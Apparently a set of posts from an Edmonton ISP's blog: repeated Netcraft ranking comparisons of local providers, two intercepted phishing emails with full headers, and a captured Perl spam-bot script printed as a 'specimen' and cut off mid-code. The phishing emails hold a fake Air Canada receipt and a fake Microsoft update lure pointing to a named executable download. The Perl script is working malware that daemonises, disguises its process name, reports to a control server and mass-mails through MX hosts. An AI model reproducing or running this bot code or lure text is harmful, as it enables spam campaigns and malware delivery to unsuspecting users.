NetKnow still in Netcraft's Top 14400

All data is from Netcraft Toolbar . Looks as if there are major changes to the NEtcraft algorithm!



NetKnow







Netknow now ranks 14378 at Netcraft.




A significant increase!



Some of our others domains and services ranks as follows:



NetKnow Secure Server

ranks 101456 from 101682 on Netcraft.

NetKnow's secondary server

ranks at 150748 from 152132 last week on Netcraft.

NetKnow's Anonynous FTP server

is at 283345 from 285681 and non-anonymous rank 252333 from 254414.

www.nl2k.ab.ca

ranks 266932 from 269323 on Netcraft.

edmontonab.ca

ranks 275088 from 277421 .

internetedmonton.ca

ranks at 292523 from 294953 .

edmontoninternetserviceprovider.ca

is at 283524 from 285860 .





How do we compare with other providers in

Edmonton
, Alberta, Canada?



Telus and reviews





Next we have Telus.com

ranked by Netcraft at 39923 from 39167 with Telus.net

ranking 5039 from 4936 .

A customer of theirs

securityfocus.com

rank 3805 from 4049 .

Sometimes their Web Hosting is done by
title="Internet Names for Business">Internet Names for Business


is ranked by Netcraft at 239788 from 241884 .

And Edmonton Chamber of Commerce

is at 256768 from 258948 .



Is Telus's ADSL network suspectible to Code Red Attacks and Attackers?



Reviews of Telus are available :





Juno and NetZero





We have Juno Internet ranked on top

at 11013 from 10789 who are the owners of

US Based Netzero
at Netcraft Rank 16302 from 15821 .



Netknow again





We at Netknow are up 4 and up 19999 the beginning of the year 2011 from 34539 . We aim to be above 10000 by the end of September 2011 .



City of Edmonton







The City of Edmonton
ranks 33359 from 33816 by Netcraft and are now with Alentus of Edmonton.



Shaw Cable





Next, members.shaw.ca

ranks 21683 from 21757 and

Shaw Cable

is next at Netcraft rank 34833 from 35647. Briefly unavailable during high peak demand.

Their Network Hosting Arm,

Big Pipe is at

Netcraft rank 34833 from 35647.

One of customer of Shaw Avalon Global

rank 301634 from 304274.



Reviews of Shaw are available :







University of Alberta







The University of Alberta
ranks 47275 from 47204.



Xplornet





xplornet

ranks 112292 from 113406 and are listed with

Stentor.



Primus





Primus

ranks 129173 from 136874 . Or

Colo Is here
ranks 217743 from 235592.



Government of Alberta





The Government of Alberta Website

ranks 155010 from 154172 by Netcraft .



Internet Centre / CCINet





Internet Centre

rank 173048 from 171700 and using Worldgate IPs.



NAIT / Northern Alberta Institute of Technology





The Northern Alberta Institute of Technology

ranks 175412 from 176970.



Uniserve / Interbaun





Next, Uniserve

ranks on Netcraft 192511 from 177510.

One of their acquisitions

interbaun

ranks with Netcraft 192511 from 177510 due to merging of sites.

One customer just came over from this organization in Nov 2006.





Wolfpaw





Computer Engineering

ranks 266909 from 263901. Thank you Scott.

And they seem to be hosted by wolfpaw.net

which ranks at 199447 from 197156.



Alentus





Alentus

rank by Netcraft 217087 from 219022 and I note they are hosted in the USA .

One of their customers

The Alberta New Democrat Party

ranks 266857 from 269244 .



Nucleus Internet Services





After that we have



Nucleus Information Services
which can be found at

Netcraft Rank 227439 from 240573 .



WebFire





Webfire.ca

ranks 245385 from 247494 and seems to be connected with Shaw.



MDCi





MDCi, the company that bought out OANet.com

ranks 256410 from 258574.



WSI Corporation





Next is WSI - We Simply The Internet of Toronto

at Netcraft Position ?????? from 265997



Radiant Communications





Radiant Communications

are ranked by Netcraft 264672 from 266909.



Grant MacEwen University





MacEwan

ranks 265706 from 268047.



Wiband Wireless





Wiband Wireless

rank on Netcraft at 266085 from 268452 and

their customer Found Locally

ranks at 252685 from 261890

and Memory Express

ranks 15788 from 15957 Interesting!



TIC Internet





TIC Internet

ranks 266250 from ?????? ( I do remember you).



Wild Rose Internet





Wild Rose Internet

ranks 272914 from 275302 and I wonder if this is another wireless branch of Tera-Byte.





Tera Byte Edmonton and reviews





Next is Tera-Byte

at Netcraft Rank 283141 from 285464 with

Tera-Byte.ca

ranking 272993 from 283669 and their wireless arm Tera-Byte Wireless

ranks 259436 from 277474 and

airsurfer.ca is now part of Tera-Byte Wireless. One of their clients nexopia

local Edmonton Social MEdia Site is ranked 211592 from 213440. Very Interesting!

Another of their customers The Alberta Liberals

at 242973 from 245109.

One of Tera-Byte's acquisitions

Edmonton Community Networks

ranks at 273034 from 275427 and

Go Edmonton ranks 267119 from 269507.

Reviews of Tera-byte is available at

here

and another here



Open Concept Internet, Inc.





Open Concept Internet, Inc.

rank 273985 from 276315.



Platinum Communications





Platinum Communications Corp.

ranks 274657 from 276972.



Carbon 14





Carbon 14 Graphic Art and Web Design

ranks 275570 from 277877 on Netcraft and note they are connected to Interspots.

BTW Illusions Photographics wants a word with you!



Nisa Custom Internet Solutions





Nisa Custom Internet Solutions

ranks 277545 from 279927 by Netcraft



MediaShaker





Media Shakers of Edmonton

ranks 279898 from 282196.



Emergence by Design





Emergence by Design

now ranks 281162 from 283425.



Koi Media





Koi Media

rank 282178 from 284490



Leduc Data





Leduc Data

ranks 282661 from 284982



InterSpots





Interspots of Edmonton

rank 283039 from 285356;

a customer of theirs conboland.com

ranks 283049 from 285379 .

Another customer the Progressive Conservative Party of Alberta

ranks 267987 from 270321 .



Core Network Solutions Inc.





Core Network Solutions Inc.

ranks at 283278 from 285600.



The Network Centre





The Network Centre

ranks 283331 from 285654.



Distributel / 3Web / CIA





Next is 3 Web

which ranks 337621 from 340640 And a questionable secure certificate. Their parent company

Cybersurf

is ranked 383340 from 354385.



Internet Crossroads





Internet Crossroads Ltd of North Edmonton

rank nothing from nothing by Netcraft and seems to merged with Tera-Byte/ecn.ab.ca .



If I remember anymore, I will add to this entry, before Netcraft changes

our ranking. Please watch this space and please feel free to peruse

our services.

Aeroplan Phish

Phishers will do anything . Intercepted in our e-mail system:





From - Tue Sep 27 05:08:40 2011

X-Account-Key: account2

X-UIDL: b7,"!l(@!!JMn!!%&"#!

X-Mozilla-Status: 0001

X-Mozilla-Status2: 10000000

X-Mozilla-Keys:

X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on doctor.nl2k.ab.ca

X-Spam-Level:

X-Spam-Status: No, score=2.0 required=5.0 tests=URIBL_BLACK autolearn=no

version=3.3.2

Received: from localhost by doctor.nl2k.ab.ca

with SpamAssassin (version 3.3.2);

Tue, 27 Sep 2011 05:07:54 -0600

From: "Aeroplan"

Subject: *****SPAM****
***SPAM** Aeroplan Reward - Electronic Ticket Itinerary/Receipt

Date: Tue, 27 Sep 2011 12:47:18 +0200

Message-Id:

MIME-Version: 1.0

Content-Type: multipart/mixed; boundary="----------=_4E81AE8A.5CC6A729"

X-UIDL: b7,"!l(@!!JMn!!%&"#!

X-Brightmail-Tracker: AAAABBkMsM0ZDLDEGQ1zjhkNhZ4=

X-Brightmail-Tracker: AAAAAA==



This is a multi-part message in MIME format.



------------=_4E81AE8A.5CC6A729

Content-Type: text/plain; charset=iso-8859-1

Content-Disposition: inline

Content-Transfer-Encoding: 8bit



Spam detection software, running on the system "doctor.nl2k.ab.ca", has

identified this incoming email as possible spam. The original message

has been attached to this so you can view it (if it isn't spam) or label

similar future email. If you have any questions, see

the administrator of that system for details.



Content preview: Thanks for the purchase! Your booking is confirmed. Booking

number: K4QCTI Your credit card has been charged for $438.60 (CAD) Please

print the itinerary/receipt for your reference. Sign in to aircanada.com

and print it by clicking the link below https://book.aircanada.com/pl/AConline/en/GetPNRsListServle/

To cancel your booking online, please click the link below: https://book.aircanada.com/pl/AConline/en/CancelBookTripPlanServlet/

On board you will be offered: Beverages; Food; Daily press. Thank you

for choosing Air Canada and we look forward to welcoming you on board. Best

regards, Air Canada [...]



Content analysis details: (7.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_BACKSCATTER RBL: Received via a relay in Backscatter.org

[200.9.190.178 listed in ips.backscatterer.org]

2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist

[URIs: keepourpromise.org]

0.0 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format

4.2 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook



The original message was not completely plain text, and may be unsafe to

open with some email clients; in particular, it may contain a virus,

or confirm that your address can receive spam. If you wish to view

it, it may be safer to save it to a file and open it with an editor.





------------=_4E81AE8A.5CC6A729

Content-Type: message/rfc822; x-spam-type=original

Content-Description: original message before SpamAssassin

Content-Disposition: attachment

Content-Transfer-Encoding: 8bit



Return-Path:

X-Original-To: aboo@doctor.nl2k.ab.ca

Delivered-To: aboo@doctor.nl2k.ab.ca

Received: from localhost (localhost.nl2k.ab.ca [127.0.0.1])

by doctor.nl2k.ab.ca (Postfix) with ESMTP id D38BE12CFA82

for ; Tue, 27 Sep 2011 05:07:52 -0600 (MDT)

X-Virus-Scanned: amavisd-new at doctor.nl2k.ab.ca

X-Spam-Flag: YES

X-Spam-Score: 23.081

X-Spam-Level: **********************


X-Spam-Status: Yes, score=23.081 tagged_above=2 required=6.2

tests=[BAYES_50=0.001, FORGED_MUA_OUTLOOK=3.116,

FORGED_OUTLOOK_HTML=0.001, FORGED_OUTLOOK_TAGS=0.001,

FROM_MISSPACED=3.799, FROM_MISSP_DKIM=0.001, FROM_MISSP_MSFT=1.295,

FROM_MISSP_NO_TO=2.628, FROM_MISSP_URI=0.001, FROM_MISSP_USER=0.871,

FSL_CTYPE_WIN1251=0.001, FSL_UA=0.243, FSL_XM_419=0.59,

HTML_IMAGE_ONLY_12=2.46, HTML_MESSAGE=0.001,

HTML_MIME_NO_HTML_TAG=0.097, MIME_HTML_ONLY=1.457,

MISSING_HEADERS=1.292, NSL_RCVD_FROM_USER=0.001,

RCVD_IN_BACKSCATTER=1, TO_NO_BRKTS_FROM_MSSP=1.3,

TO_NO_BRKTS_MSFT=0.96, T_REMOTE_IMAGE=0.01, URIBL_BLACK=1.955]

autolearn=spam

Received: from doctor.nl2k.ab.ca ([127.0.0.1])

by localhost (doctor.nl2k.ab.ca [127.0.0.1]) (amavisd-new, port 10024)

with ESMTP id HDF1AfNWe1zt for ;

Tue, 27 Sep 2011 05:07:45 -0600 (MDT)

Received: from ns.cccp.com.ni (ns.cccp.com.ni [200.9.190.178])

by doctor.nl2k.ab.ca (Postfix) with ESMTP id 903BA12CFA81

for ; Tue, 27 Sep 2011 05:07:38 -0600 (MDT)

Received: from User ([93.174.95.21]) by ns.cccp.com.ni with Microsoft SMTPSVC(6.0.3790.4675);

Tue, 27 Sep 2011 04:46:18 -0600

From: "Aeroplan"

Subject: ***SPAM*** Aeroplan Reward - Electronic Ticket Itinerary/Receipt

Date: Tue, 27 Sep 2011 12:47:18 +0200

MIME-Version: 1.0

Content-Type: text/html;

charset="Windows-1251"

Content-Transfer-Encoding: 7bit

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2600.0000

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Message-ID:

X-OriginalArrivalTime: 27 Sep 2011 10:46:19.0359 (UTC) FILETIME=[B0A016F0:01CC7D02]










Thanks for the purchase!



Your booking is confirmed.

Booking number: K4QCTI



Your credit card has been charged for $438.60 (CAD)



Please print the itinerary/receipt for your reference.

Sign in to aircanada.com and print it by clicking the link below





https://book.aircanada.com/pl/AConline/en/GetPNRsListServle/



To cancel your booking online, please click the link below:



https://book.aircanada.com/pl/AConline/en/CancelBookTripPlanServlet/





On board you will be offered:

Beverages;

Food;

Daily press.



Thank you for choosing Air Canada and we look forward to welcoming you

on board.



Best regards,

Air Canada







------------=_4E81AE8A.5CC6A729--





Another Microsoft Patch scam

Found this in a mailbox this morning:





From - Tue Sep 27 15:27:43 2011

X-Account-Key: account2

X-UIDL: L5="!0UZ!!?;b"!l_4!!

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

X-Mozilla-Keys:

Return-Path:

X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on doctor.nl2k.ab.ca

X-Spam-Level:

X-Spam-Status: No, score=-5.0 required=5.0 tests=RCVD_IN_JMF_W

autolearn=unavailable version=3.3.2

X-Original-To: aboo@doctor.nl2k.ab.ca

Delivered-To: aboo@doctor.nl2k.ab.ca

Received: from localhost (localhost.nl2k.ab.ca [127.0.0.1])

by doctor.nl2k.ab.ca (Postfix) with ESMTP id 25CEF12CFA82

for ; Tue, 27 Sep 2011 15:27:15 -0600 (MDT)

X-Virus-Scanned: amavisd-new at doctor.nl2k.ab.ca

Received: from doctor.nl2k.ab.ca ([127.0.0.1])

by localhost (doctor.nl2k.ab.ca [127.0.0.1]) (amavisd-new, port 10024)

with ESMTP id hn2hFRmftre7 for ;

Tue, 27 Sep 2011 15:27:07 -0600 (MDT)

Received: from mail.commissionaires.ca (mail.commissionaires.ca [69.20.239.51])

(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))

(No client certificate requested)

by doctor.nl2k.ab.ca (Postfix) with ESMTPS id 77F0012CFA86

for ; Tue, 27 Sep 2011 15:26:46 -0600 (MDT)

Received: from SERVER (dsl78.188-3856.ttnet.net.tr [78.188.15.16] (may be forged))

(authenticated bits=0)

by mail.commissionaires.ca (8.13.8/8.13.8-) with ESMTP id p8RJ7gpO023174

(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)

for ; Tue, 27 Sep 2011 16:45:28 -0400

List-Unsubscribe: <Unsubscribe>

From: "Microsoft-Canada.Inc"

Subject: Critical Update For Microsoft Firewall MS0098

To: aboo@doctor.nl2k.ab.ca

Content-Type: multipart/alternative; charset=UTF-8; boundary="AdEuAWViZ4UQwbQQdbrl5E34B=_5Sk4Nh9"

MIME-Version: 1.0

Date: Wed, 28 Sep 2011 00:13:41 +0300

Message-ID: <535200143063531@server.muhasebe.local>

X-UIDL: L5="!0UZ!!?;b"!l_4!!

X-Brightmail-Tracker: AAAAARkNecY=

X-Brightmail-Tracker: AAAAAA==



This is a multi-part message in MIME format



--AdEuAWViZ4UQwbQQdbrl5E34B=_5Sk4Nh9

Content-Type: text/plain; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline



Dear Customer,



=20



Please notice that Microsoft has recently issued a Security Update for=

Microsoft Windows Firewall and Security Center.



=20



This Update is to prevent malicious users from getting access to your =

computer files by executing arbitary code on a new buffer overflow fou=

nd in the windows firewall process.



=20



This is an high-priority updates. In order to help protect your comput=

er against security threats and malicious code.



Please follow these instructions:



=20



1. Download the file from http://teamfix.x10.mx/SECURITY_FIX_5228.exe =





=20



2. Double-click on SECURITY_FIX_5228.exe to start the update.



3. Clique on Allow Access



=20



This is an Automated Message produced by Microsoft Canada Co., Please =

Do Not Reply



=20



Microsoft Team.



--AdEuAWViZ4UQwbQQdbrl5E34B=_5Sk4Nh9

Content-Type: text/html; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline










utf-8" />





Dear Customer,



 



Please notice that Microsoft has recently issued a Security U=

pdate for Microsoft Windows Firewall and Security Center.



 



This Update is to prevent malicious users from getting access=

to your computer files by executing arbitary code on a new buffer ove=

rflow found in the windows firewall process.



 



This is an high-priority updates. In order to help protect yo=

ur computer against security threats and malicious code.



Please follow these instructions:



 



1. Download the file from
p://teamfix.x10.mx/SECURITY_FIX_5228.exe">http://teamfix.x10.mx/SECURI=

TY_FIX_5228.exe



 



2. Double-click on SECURITY_FIX_5228.exe to start the updat=

e.



3. Clique on *Allow Access*



 



This is an Automated Message produced by Microsoft Canada C=

o., Please Do Not Reply



 



Microsoft Team.











--AdEuAWViZ4UQwbQQdbrl5E34B=_5Sk4Nh9--





NetKnow now in Netcraft's Top 14400

All data is from Netcraft Toolbar . Looks as if there are major changes to the NEtcraft algorithm!



NetKnow







Netknow now ranks 14832 at Netcraft.




A significant increase!



Some of our others domains and services ranks as follows:



NetKnow Secure Server

ranks 101682 from 95875 on Netcraft.

NetKnow's secondary server

ranks at 152132 from 153736 last week on Netcraft.

NetKnow's Anonynous FTP server

is at 285681 from 288385 and non-anonymous rank 254414 from 256817.

www.nl2k.ab.ca

ranks 269323 from 271672 on Netcraft.

edmontonab.ca

ranks 277421 from 284049 .

internetedmonton.ca

ranks at 294953 from 279922 .

edmontoninternetserviceprovider.ca

is at 285860 from 288601 .





How do we compare with other providers in

Edmonton
, Alberta, Canada?



Telus and reviews





Next we have Telus.com

ranked by Netcraft at 39167 from 39741 with Telus.net

ranking 4936 from 4954 .

A customer of theirs

securityfocus.com

rank 4049 from 4148 .

Sometimes their Web Hosting is done by
title="Internet Names for Business">Internet Names for Business


is ranked by Netcraft at 241884 from 244101 .

And Edmonton Chamber of Commerce

is at 258948 from 268827 .



Is Telus's ADSL network suspectible to Code Red Attacks and Attackers?



Reviews of Telus are available :





Juno and NetZero





We have Juno Internet ranked on top

at 10789 from 10746 who are the owners of

US Based Netzero
at Netcraft Rank 15821 from 15513 .



Netknow again





We at Netknow are up 325 and up 19995 the beginning of the year 2011 from 34539 . We aim to be above 10000 by the end of September 2011 .



City of Edmonton







The City of Edmonton
ranks 33816 from 34467 by Netcraft and are now with Alentus of Edmonton.



Shaw Cable





Next, members.shaw.ca

ranks 21757 from 21542 and

Shaw Cable

is next at Netcraft rank 35647 from 34626. Briefly unavailable during high peak demand.

Their Network Hosting Arm,

Big Pipe is at

Netcraft rank 35647 from 34626.

One of customer of Shaw Avalon Global

rank 304274 from 306819.



Reviews of Shaw are available :







University of Alberta







The University of Alberta
ranks 47204 from 47933.



Xplornet





xplornet

ranks 113406 from 107205 and are listed with

Stentor.



Primus





Primus

ranks 136874 from 136675 . Or

Colo Is here
ranks 235592 from 249912.



Government of Alberta





The Government of Alberta Website

ranks 154172 from 138176 by Netcraft .



Internet Centre / CCINet





Internet Centre

rank 171700 from 168005 and using Worldgate IPs.



NAIT / Northern Alberta Institute of Technology





The Northern Alberta Institute of Technology

ranks 176970 from 175671.



Uniserve / Interbaun





Next, Uniserve

ranks on Netcraft 177510 from 182410.

One of their acquisitions

interbaun

ranks with Netcraft 177510 from 182410 due to merging of sites.

One customer just came over from this organization in Nov 2006.





Wolfpaw





Computer Engineering

ranks 263901 from 263991. Thank you Scott.

And they seem to be hosted by wolfpaw.net

which ranks at 197156 from 195246.



Alentus





Alentus

rank by Netcraft 219022 from 216330 and I note they are hosted in the USA .

One of their customers

The Alberta New Democrat Party

ranks 269244 from 250104 .



Nucleus Internet Services





After that we have



Nucleus Information Services
which can be found at

Netcraft Rank 240573 from 226133 .



WebFire





Webfire.ca

ranks 247494 from 249716 and seems to be connected with Shaw.



MDCi





MDCi, the company that bought out OANet.com

ranks 258574 from 260967.



WSI Corporation





Next is WSI - We Simply The Internet of Toronto

at Netcraft Position 265997 from 268365



Radiant Communications





Radiant Communications

are ranked by Netcraft 266909 from 269293.



Grant MacEwen University





MacEwan

ranks 268047 from 270451.



Wiband Wireless





Wiband Wireless

rank on Netcraft at 268452 from 270802 and

their customer Found Locally

ranks at 261890 from 264269

and Memory Express

ranks 15957 from 15642 Interesting!



TIC Internet





TIC Internet

ranks ?????? from 270981 ( I do remember you).



Wild Rose Internet





Wild Rose Internet

ranks 275302 from 277725 and I wonder if this is another wireless branch of Tera-Byte.



Open Concept Internet, Inc.





Open Concept Internet, Inc.

rank 276315 from 278773.



Platinum Communications





Platinum Communications Corp.

ranks 276972 from 279647.



Tera Byte Edmonton and reviews





Next is Tera-Byte

at Netcraft Rank 285464 from 288183 with

Tera-Byte.ca

ranking 283669 from 286349 and their wireless arm Tera-Byte Wireless

ranks 277474 from 279963 and

airsurfer.ca is now part of Tera-Byte Wireless. One of their clients nexopia

local Edmonton Social MEdia Site is ranked 213440 from 210758. Very Interesting!

Another of their customers The Alberta Liberals

at 245109 from 247302.

One of Tera-Byte's acquisitions

Edmonton Community Networks

ranks at 275427 from 277842 and

Go Edmonton ranks 269507 from 271889.

Reviews of Tera-byte is available at

here

and another here



Carbon 14





Carbon 14 Graphic Art and Web Design

ranks 277877 from 280358 on Netcraft and note they are connected to Interspots.

BTW Illusions Photographics wants a word with you!



Nisa Custom Internet Solutions





Nisa Custom Internet Solutions

ranks 279927 from 274086 by Netcraft



MediaShaker





Media Shakers of Edmonton

ranks 282196 from 284760.



Emergence by Design





Emergence by Design

now ranks 283425 from 286086.



Koi Media





Koi Media

rank 284490 from 287173



Leduc Data





Leduc Data

ranks 284982 from 287691



InterSpots





Interspots of Edmonton

rank 285356 from 288082;

a customer of theirs conboland.com

ranks 285379 from 288096 .

Another customer the Progressive Conservative Party of Alberta

ranks 270321 from 280944.



Core Network Solutions Inc.





Core Network Solutions Inc.

ranks at 285600 from 288308.



The Network Centre





The Network Centre

ranks 285654 from 288359.



Distributel / 3Web / CIA





Next is 3 Web

which ranks 340640 from 343531 And a questionable secure certificate. Their parent company

Cybersurf

is ranked 354385 from 212418.



Internet Crossroads





Internet Crossroads Ltd of North Edmonton

rank nothing from nothing by Netcraft and seems to merged with Tera-Byte/ecn.ab.ca .



If I remember anymore, I will add to this entry, before Netcraft changes

our ranking. Please watch this space and please feel free to peruse

our services.

Phishing spam mail script intercepted

Here is your specimen:



#!/usr/bin/perl

use strict; use IO::Socket; use IO::Select; $0 = "mail";

my ($E_WOULDBLOCK, $E_INPROGRESS) = ($^O eq "MSWin32" ? (10035, 10036) : ($^O eq "freebsd" ? (35, 36) : ($^O eq "linux" ? (11, 115) : (11, 150))));

my $test = {os => [$^O], ip => ["0.0.0.0", "checkip.dyndns.org", "checkip.org"], tcp25 => [0, "mailin-01.mx.aol.com", "a.mx.mail.yahoo.com"], udp53 => [0, "dns-01.ns.aol.com", "ns1.yahoo.com"], tcp53 => [0, "dns-01.ns.aol.com", "ns1.yahoo.com"], tcp80 => [0, "aol.com", "yahoo.com"]}; &init();

#

$_ = 30128 + 256; print $_; exit 0;

sub main

{

my $s_host = shift; my $s_port = shift; my $s_path = shift; my $s_nsex = shift;

if ($^O ne "MSWin32")

{

use POSIX qw(setsid);

return unless defined (my $child = fork);

return if $child;

POSIX::setsid();

$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));

umask 0;

chdir "/";

open (STDIN, "
open (STDOUT, ">/dev/null");

open (STDERR, ">&STDOUT");

}

&test(); exit 0 if $test->{tcp25}[0] != 1;

if ($test->{udp53}[0] != 1 && $test->{tcp53}[0] != 1)

{

exit 0 if !defined $s_nsex;

$s_nsex = pack ("C4", split (/\./, $s_nsex));

}

else

{

$s_nsex = undef;

}

srand; my $pid = $$; $pid = 1 + int rand 2147483648 if !defined $pid || $pid !~ /^\d+$/ || $pid > 4294967295;

my $s = {version => 6, command => 0, size => 0, timeout => 60, request => 1, host => (gethostbyname $s_host)[4]}; exit 0 unless $s->{host};

my $b =

{

id => 0,

ip => "",

helo => undef,

timezone => [["+", "-"]->[int rand 2], (1 + int rand 6)],

nameserver => [],

timeout => 10,

session => 0,

copies => 1,

method => 0,

spf => 0,

level => 0,

mailbase => [],

from => [],

replyto => [],

subject => [],

header => "",

letter => "",

priority => 1,

type => 0,

charset => "",

good => [0, ""],

unlucky => [0, ""],

bad => [0, ""],

report => ""

};

my $readers = IO::Select->new() or exit 0;

my $writers = IO::Select->new() or exit 0;

my $session = {};

my $flagset = {timeout => 1};

my $cache = {};

my $reset_time = time;

my $reset_wait = 120;

my $reset_stat = 0;

my $first_exec = 1;

my $request_time = time;

my $request_flag = 1;

my $counter_addr = 0;

#

my $destroy = sub

{

my ($object, $handle) = @_;

#

if ($session->{$handle}{status} =~ /^rs/)

{

$request_flag = 1;

}

elsif (exists $session->{$handle}{object})

{

if ($_ = shift @{$session->{$handle}{object}})

{

$b->{unlucky}[0] ++;

if ($b->{level})

{

$b->{unlucky}[1] .= "$_\x0A";

$b->{report} .= "$_ - [$session->{$handle}{status}] Timeout\x0A" if $b->{level} > 1;

}

#

push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};

}

}

if (exists $session->{$handle}{mx})

{

$cache->{$session->{$handle}{mx}}[1] -- if $cache->{$session->{$handle}{mx}}[1] > 0;

}

delete $session->{$handle};

$object->remove($handle);

close $handle;

};

#

while (1)

{

#

IO::Select->select(undef, undef, undef, 0.01);

#

my $time = time;

if ($reset_stat != ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))

{

$reset_stat = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);

$reset_time = $time + $reset_wait;

}

if ($time >= $reset_time)

{

$reset_time = $time + $reset_wait;

$reset_stat = 0;

$counter_addr = 0;

$b->{$_} = [] for (qw (mailbase from replyto subject));

$b->{$_} = [0, ""] for (qw (good unlucky bad));

$b->{report} = "";

$cache = {};

$session = {};

my $ha = [$writers->handles];

foreach my $hs (@$ha) { $writers->remove($hs); close $hs; }

$ha = [$readers->handles];

foreach my $hs (@$ha) { $readers->remove($hs); close $hs; }

$request_flag = 1;

$request_time = time;

next;

}

#

if ($request_flag && $time >= $request_time)

{

while (1)

{

#

my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);

#

last unless $socket;

#

if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }

#

unless ($socket->connect($_ = sockaddr_in($s_port, $s->{host})))

{

if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)

{

#

#

close $socket;

#

last;

}

}

#

#

unless ($writers->add($socket))

{

#

#

close $socket;

#

last;

}

#

$session->{$socket} =

{

status => "rs_cn",

buffer => "",

flagset => $flagset->{timeout},

timeout => 0

};

$s->{$_} = 0 for (qw (command size));

if ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))

{

$s->{command} = 1;

$s->{command} = 2 if $first_exec;

$reset_time = $time + $reset_wait;

$reset_stat = 0;

if ($counter_addr)

{

$s->{size} = 16;

$session->{$socket}{buffer} .= pack ("L", $b->{id});

$session->{$socket}{buffer} .= pack ("L", $b->{$_}[0]) for (qw (good unlucky bad));

if ($b->{level})

{

for (qw (good unlucky bad))

{

$s->{size} += (4 + length $b->{$_}[1]);

$session->{$socket}{buffer} .= pack ("L", length $b->{$_}[1]);

$session->{$socket}{buffer} .= $b->{$_}[1];

}

if ($b->{level} > 1)

{

$s->{size} += (4 + length $b->{report});

$session->{$socket}{buffer} .= pack ("L", length $b->{report});

$session->{$socket}{buffer} .= $b->{report};

}

}

}

}

$session->{$socket}{buffer} = pack ("SC2L2", 0x0F0F, $s->{version}, $s->{command}, $pid, $s->{size}) . $session->{$socket}{buffer};

$s->{size} = length $session->{$socket}{buffer};

$session->{$socket}{buffer} = "POST $s_path HTTP/1.0\x0D\x0AHost: $s_host\x0D\x0AContent-type: application/x-www-form-urlencoded\x0D\x0AContent-Length: $s->{size}\x0D\x0A\x0D\x0A$session->{$socket}{buffer}";

#

$request_flag = 0;

#

last;

}

}

#

if (my $mail_array = shift @{$b->{mailbase}})

{

while (scalar @$mail_array)

{

#

my $mail = @{$mail_array}[0];

my ($mx) = &mail(\$mail);

$mx = lc ((split /@/, $$mx)[1]);

my $type = 15;

if (exists $cache->{$mx})

{

my $sv = $mx;

$mx = $cache->{$sv}[0];

if ($mx =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)

{

$cache->{$sv}[1] = 0 unless $cache->{$sv}[1];

if ($b->{session} && ($cache->{$sv}[1] >= $b->{session}))

{

#

push @{$b->{mailbase}}, $mail_array;

#

last;

}

if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255)

{

while ($_ = shift @$mail_array)

{

$b->{bad}[0] ++;

if ($b->{level})

{

$b->{bad}[1] .= "$_\x0A";

$b->{report} .= "$_ - [mx_ip] Object non exists\x0A" if $b->{level} > 1;

}

}

#

last;

}

$mx = pack ("C4", $1, $2, $3, $4);

#

#

my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);

#

unless ($socket)

{

#

push @{$b->{mailbase}}, $mail_array;

#

last;

}

#

if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }

#

unless ($socket->connect($_ = sockaddr_in(25, $mx)))

{

if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)

{

#

#

close $socket;

$b->{unlucky}[0] ++;

if ($b->{level})

{

$b->{unlucky}[1] .= "$mail\x0A";

$b->{report} .= "$mail - [mx_cn] Can't connect\x0A" if $b->{level} > 1;

}

#

shift @$mail_array;

#

push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;

#

last;

}

}

#

#

unless ($writers->add($socket))

{

#

#

close $socket;

#

push @{$b->{mailbase}}, $mail_array;

#

last;

}

$cache->{$sv}[1] ++;

my $sender = @{$b->{from}}[int rand scalar @{$b->{from}}];

$sender =~ s/@.+$/@$b->{helo}/ if ($b->{spf} && $b->{helo} ne "localhost");

#

$session->{$socket} =

{

status => "mx_cn",

mx => $sv,

buffer => "",

object => $mail_array,

mindex => 0,

sender => $sender,

flagset => $flagset->{timeout},

timeout => 0

};

#

last;

}

else

{

#

$type = 1;

}

}

else

{

#

$type = 15;

}

#

my $socket;

if ($test->{udp53}[0] == 1)

{

$socket = IO::Socket::INET->new(Proto => "udp");

}

else

{

$socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);

}

#

unless ($socket)

{

#

push @{$b->{mailbase}}, $mail_array;

#

last;

}

#

if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }

if ($test->{udp53}[0] == 0)

{

#

my $nameserver = shift @{$b->{nameserver}}; push @{$b->{nameserver}}, $nameserver;

if (defined $s_nsex) { $nameserver = sockaddr_in(25, $s_nsex); } else { $nameserver = sockaddr_in(53, $nameserver); }

unless ($socket->connect($nameserver))

{

if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)

{

#

#

close $socket;

$b->{unlucky}[0] ++;

if ($b->{level})

{

$b->{unlucky}[1] .= "$mail\x0A";

